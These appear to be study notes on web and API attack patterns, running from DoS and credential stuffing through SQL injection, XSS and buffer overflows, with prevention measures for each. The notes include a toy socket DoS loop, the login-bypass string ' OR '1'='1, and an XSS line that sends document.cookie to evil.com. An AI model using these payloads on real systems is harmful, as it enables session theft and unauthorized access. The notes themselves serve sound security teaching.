

API & Application Attack Pattern

01. DOS (Denial of service) & DDOS(Distributed Denial of Service)

- a. an attempt to make a system, service, or network unavailable to its intended users by overwhelming it with requests or exploiting vulnerabilities that cause it to crash or become unresponsive
- b. Eg: in a restaurant with 50 seats , if seats get repeatedly booking and they never show up and real customers cannot go in this what DOS looks like
- c. This done by Sending massive GET/POST requests to a web server can also be done by Protocol Exploitation and Resource Exhaustion
- d. If this process is done by one attacker then it is DOS of done through thousands or millions of devices simultaneously
- e. This can be also known as Excessive usage attack as they abuse the systems by using them exactly as designed just at a scale or in a way the owner never intended. These attacks are hard to block because the traffic looks legitimate on the surface.
- f. Warning signs
 - i. Website suddenly slow
 - ii. Traffic spikes from strange regions
 - iii. Server crashes
 - iv. Bandwidth maxed out
- g. How Do these Attacks work
 - i. Every server has a limit , So by Sending massive GET/POST requests to a web server it create a huge traffic load and creates a resource exhaustion ,can also be done by Protocol Exploitation

```
import socket

target_ip = "192.168.1.1"
target_port = 80

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

for i in range(100):
    try:
        sock.connect((target_ip, target_port))
        print(f"Connection {i} opened")
    except:
        pass
```

ii.

iii. Connecting but not doing anything ,waiting state for long

iv. Types

1. Volume-Based - UDP Flood ,ICMP Flood(Ping Flood)
2. Protocol-Based -SYN Flood(Server resources get stuck waiting)
3. Like not finishing the TCP-handshake
4. Application Layer -HTTP Flood
5. FOR DDOS ->botnet -> a network of infected devices
6. Dyn Attack - DNS provider making websites unreachable

h. Why is it done ??

- i. Illegal attacks on competitors
- ii. usually used as distraction , to try data theft elsewhere
- iii. To use it as extortion means

i. How to Prevent it

- i. Rate Limiting - Limit how many requests one IP can send.

```
from flask import Flask, request

app = Flask(__name__)
requests_count = {}

@app.route('/')
def home():
    ip = request.remote_addr
    requests_count[ip] = requests_count.get(ip, 0) + 1

    if requests_count[ip] > 100:
        return "Too Many Requests", 429

    return "Welcome"
```

ii.

iii. Firewalls - Filter suspicious traffic

iv. Load Balancing - Spread traffic across many servers

- v. CDN- Absorbs attack traffic globally
- vi. SYN Cookies - Protect against SYN Floods
- vii. Bot Detection

02. Abuse of functionality

Abusing functionality means using a legitimate feature of an app for a purpose it was not designed for exploiting how it works rather than breaking into it. Like using forgot password like features to flood inbox of email with thousands of password reset emails

a. Scalping

- i. using bots to automatically purchase limited-supply items the moment they go on sale — faster than any human can — then reselling them at a massive markup. Real customers are left with nothing; the scalper profits.
- ii. Why do it ? Pure Profit , low risk , highly automated , easily repeatable
- iii. HOW?
 - 1. Automated checkout bots with pre filled payment and address details
 - 2. Proxy networks to appear as thousand different users
 - 3. Using Web hook monitors that alert the bot the instant a page changes (ex when a new item introduced)
 - 4. Accounts farms - hundreds of pre-verified accounts ready to purchase
- iv. Prevention
 - 1. Purchase limit per account
 - 2. CAPTCHA at checkout
 - 3. Bot detection
 - 4. Queue system randomized

b. Scraping

- i. Scraping is the automated extraction of data from websites using bots or scripts. The scraper visits pages, reads the HTML, and extracts structured data (prices, emails, product listings, articles) at scale — far beyond what any human could do manually.
- ii. Scraping itself is not always illegal developers scrape public data for legitimate research — but malicious scraping steals proprietary content or harvests personal data

- iii. WHY?
 - 1. Competitive intelligence - monitor rival pricing
 - 2. Training AI model on scraped contents without permission
 - 3. Aggregator sites -republish your content without credit
- iv. Prevention
 - 1. Rate limiting
 - 2. CAPTCHA
 - 3. Bot detection
 - 4. Honeypot fields - hidden links only bots follow , triggering a block
 - 5. API authentication
 - 6. Dynamic rendering

c. Click fraud

- i. Click fraud is the use of bots or paid humans to fraudulently click on online ads either to drain a competitor's advertising budget(Competitor attack) or to generate fake revenue for a publisher site that earns money per click. Advertisers pay for clicks that will never become real customers generating fake revenue. (Publisher fraud)
- ii. How?
 - 1. Botnets - networks of infected devices generate realistic-looking clicks from many IPs
 - 2. Click farms- low paid workers manually click ads all day
 - 3. Malware - making the installed adware on victims devices, and silently the ads are clicked in background
 - 4. Automated scripts
- iii. Prevention
 - 1. IP exclusion lists
 - 2. Ad platform fraud detection or using 3rd party click fraud protection tools

d. Brute forcing

- i. Brute forcing is the method of systematically trying every possible combination of passwords, keys, or credentials until the correct one is found. It's essentially guessing done at machine speed, thousands or millions of attempts per second, until something works. (guesses unknown passwords)
- ii. Can be done pure brute force, Dictionary attacks(tries common list of combination) , Rainbow table attack (uses precomputed

tables of password hashes to reverse-engineer a password from its stores hash without guessing one by one

iii. Why ?

1. To Gain unauthorized access to accounts , admin panels
2. Decrypt encrypted files or stolen password hashes
3. WPA handshake cracking
4. Crack API keys or session tokens

iv. Prevention

1. MFA
2. Account lockout/ progressive delays after failed attempts
3. Password spraying protection - lockout based on IP, not just account
4. Strong Passwords , CAPTCHA after N failed attempts
5. Salted password hashing , Rate limiting on login endpoints
6. Geo-blocking or login alerts for unusual locations

03. AccessViolation

unauthorized access to systems, accounts, or communications. This can happen by stealing sessions, spying on traffic, intercepting communication, or abusing stolen passwords.

Eg: Authentication -> Checking if its a verified user

Authorization -> deciding how much access they can have

Access violation -> bypassing or abusing above controls

a. Session Hijacking

- i. Stealing a session ID and impersonating (Session ID -> when logged in a website the server gives a browser a session id to recognise the user this proves u are authenticated)

- ii. Why is it done?

Banking access , social media takeover (suddenly access of the account gone) , Admin panel access , mostly done to make changes in the sensitive business systems

- iii. How its done

1. Cookie theft (Stealing browser cookies)
2. XSS (Cross Site Scripting)(will be discussed later)
injection of malicious scripts

eg. document.cookie can have access to the session cookie this can be only done if Cookie is NOT HttpOnly

3. Packet sniffing -Capturing session tokens on insecure Wifi
4. Session fixation

- iv. How to prevent it
 - 1. Avoid using public Wi-fi without VPN
 - 2. Logging out after Use , Use HTTPS only
 - 3. On developers side have secure cookies(HttpOnly,Secure)
 - 4. Session expiration , Token rotation

b. Snooping

- i. Unauthorized observation of private communication or data in simple words Secretly observing or capturing data as it travels across a network , device or communication channel
- ii. Why do it
 - 1. Snooping can be ethical or malicious
 - 2. Network administrators use so this to diagnose network problems , detect malware , monitor suspicious traffic , improving performance
 - 3. Where as maliciously -> to spy on users , steal credentials or sensitive information , Gather intelligence , Identity theft , reading emails/ messages , viewing browsing activity
- iii. How is it done ?
 - 1. Net work packet sniffing

This captures packet summaries for analysis.
Used ethically by admins; illegally by attackers.

```
var device = CaptureDeviceList.Instance[0];
device.Open();

device.OnPacketArrival += (s, e) =>
{
    Console.WriteLine(e.Packet.ToString()); // Packet summary
};

device.Capture(10); // Capture 10 packets
device.Close();
```

This can be prevented if used HTTPS,VPN,End-to-end encryption

- 2. Keyloggers (Recording types keys) Software or hardware that records every keystroke typed on a device — capturing passwords, messages, card numbers, and

search queries. Delivered via malware downloads, infected USB drives, or phishing links.

3. Shoulder surfing (Watching spyware) Physically watching someone type their PIN, password, or read sensitive information done in person or via a nearby camera.

iv. Prevention

1. Using MFA (Multi-Factor Authentication)
2. Avoid Public Wi-fi for sensitive tasks
3. HTTPS, VPN , Encrypted messaging , Anti-spyware , Secure networks
4. Encrypt +Authenticate +Monitor

c. Man-in-the-middle(MITM) Attack

- i. MITM attack happens when an attacker secretly intercepts communication between 2 parties and can alter it also

ii. Why is it done?

1. Steal username/Password , Hijacking sessions ,inject malware , spy on communications , data theft ,data manipulations
2. Can also be used in a good way -> Test encryption , Validate certificate protections , Assess wifi vulnerabilities

iii. How is it done?

1. Rouge wifi hotspot

An attacker sets up a fake Wi-Fi access point which is free. When a victim connects, ALL their traffic flows through the attacker's device first giving full visibility into every request and response

2. ARP spoofing or poisoning - pretending to be a router using the ARP protocol design flaw : the ARP protocol does not verify that a response actually comes from an authorized party and often accepts unsolicited responses Network access ->Forged Response
-> Cache Poisoning ->Interception

3. DNS spoofing - Redirecting to fake sites

The attacker corrupts the DNS cache so that a domain name (e.g. bank.com) resolves to the attacker's fake IP address. The victim's browser goes to the lookalike

phishing site without realizing the real site was never reached.

4. SSL stripping - Downgrading HTTPS to plain HTTP instead

iv. Prevention

1. Use VPN , verifying HTTPS lock icon ,MFA , Web Application Firewall(WAF)

d. Credential Stuffing

- i. **Credential Stuffing** is a cyberattack where attackers use stolen username/password combinations (usually leaked from previous data breaches) and automatically try them on many other websites or apps , in simple words If someone uses the same password for multiple accounts, one leaked password can unlock several services
- ii. Why is it done ??
 1. Many people reuse passwords , so it's cheaper than hacking from scratch , and has weak security No MFA and also it is automated making it easy to get into websites.
- iii. How is it done?
 1. Get Credentials from
 - a. Data breaches
 - b. Dark web leaks
 - c. Password dumps
 - d. Previously hacked website
 2. Use automation tools
 - a. Bots , Headless Methods , proxy networks
 - b. Browser fingerprint spoofing
- iv. Prevention
 1. Never Reuse Passwords & using strong passwords
 2. Doing MFA
 3. Monitor Breaches , Bot Detections , Rate Limiting
 4. Using CAPTCHA
 5. Password Blacklists (Block known leaked passwords)

04. Exploit / Exploitations

a. SQL Injection

- i. SQL Injection (SQLi) is when an attacker inserts malicious SQL code into an input field that gets passed directly into a database query. Instead of treating the input as data, the database executes it as a command giving the attacker power over the entire database. Like instead of username and password type some code instead
- ii. Eg : Normal `SELECT * FROM users WHERE username = 'alice' AND password = 'pass123';` but Attacker types: `' OR '1'='1` into the username field
`SELECT * FROM users WHERE username = " OR '1'='1' AND password = ";` Since `'1'='1'` is always true, this returns every user the attacker logs in without a password.
- iii. Types
 1. Classic /In-band - results visible directly in app response
 2. Blind SQLi - no visible error , attacker infers data from true/false responses or timing delays
 3. Out-of-Band - data exfiltration
 4. Error-based - forces the database to reveal info in its error messages
- iv. Why is it done ?
 1. Bypass login / authentication entirely
 2. Dump entire database (usernames, passwords, credit cards)
 3. Delete or modify data
 4. Execute OS-level commands on the server (advanced)
 5. Access other tables the app was not meant to show
- v. Prevention
 1. Parameterized queries
 2. Input validations
 3. ORM framework
 4. Least privilege - database access levels from queries should be minimum
 5. Web Application Firewall (WAF) to detect and block patterns
 6. Never display raw error messages to users

b. Cross Site Scripting(XSS)

- i. XSS happens when an attacker injects malicious JavaScript into a webpage that is then executed in the browsers of other users. The website accidentally delivers the attacker's script to victims making the victim's browser do things the attacker wants.
- ii. Eg
`<script>document.location='https://evil.com/steal?c='+document.cookie</script>` if this is on any comment of a webpage every user who views that page has their session cookie sent to the attacker
- iii. Why is it done
 1. To Steal session cookies
 2. Redirect Users to phishing sites
 3. Install malware via drive-by downloads
 4. Deface websites
- iv. Types
 1. Stored - saved in the database (like above eg comments)
 2. Reflected -script is a part of URL
 3. DOM-based
- v. Prevention
 1. Output encoding
 2. Content Security Policy (CSP) header - telling browser which scripts are allowed to run
 3. HttpOnly cookies - js cannot read them so document.cookies cannot steal anything
 4. Input Validations

c. Buffer Overflow

- i. A buffer is a fixed-size block of memory reserved to store data (e.g. 10 bytes for a username). A buffer overflow happens when more data is written into that buffer than it can hold the excess spills into adjacent memory, overwriting other data including control structures like the return address that tells the program what to do next. By carefully crafting the overflow, an attacker can redirect the program to execute their own code, this is called arbitrary code execution.
- ii. Common in C/C++, legacy systems, embedded devices not common in Managed languages
- iii. Why is it done?
 1. Privilege escalation (to get admin access)
 2. Crash of application
 3. Bypass authentication checks
 4. Deploy malware

- 5. Arbitrary code execution - run any code on the victim system
- iv. Some Function in c ,c++ has no bound checking so they this , can be done on old operating systems components
- v. Prevention
 - 1. Use safe coding language that handle memory automatically or using bound checked function in c/c++
 - 2. ASLR(Address Space Layout Randomisation) - randomizes memory addresses so the attacker cant predict where to jump
 - 3. DEP(Data Execution Prevention) marks memory region as non-executable so injected code cannot run
 - 4. Fuzz testing - throw random / massive input at the program to find overflows before attackers do